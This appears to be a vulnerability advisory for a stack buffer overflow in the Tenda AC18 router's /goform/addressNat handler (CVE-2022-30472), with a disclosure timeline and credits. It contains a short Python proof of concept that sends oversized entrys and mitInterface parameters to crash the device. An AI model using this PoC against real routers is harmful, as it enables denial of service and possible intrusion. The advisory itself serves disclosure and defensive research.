Tenda Router AC18 Vulnerability

This vulnerability lies in the /goform/addressNat page which influences the lastest version of Tenda Router AC18. (The latest version is AC18_V15.03.05.19(6318))

Vulnerability Description

There is a stack-based buffer overflow vulnerability in function fromAddressNat.

In function fromAddressNat it reads 2 user provided parameters entrys and mitInterface into v9 and v8, and these two variables are passed into function sprintf without any length check, which may overflow the stack-based buffer s.

So by requesting the page /goform/addressNat, the attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

PoC

import requests

IP = "10.10.10.1"
url = f"http://{IP}/goform/addressNat?"
url += "entrys=" + "s" * 0x200
url += "&mitInterface=" + "a" * 0x200

response = requests.get(url)

Timeline

• 2022-05-05: Report to CVE & CNVD;
• 2022-05-26: CVE ID assigned (CVE-2022-30472)
• 2022-06-03: CNVD ID assigned (CNVD-2022-43056)

Acknowledge

Credit to @peanuts, @Minghao Lin and @cylin.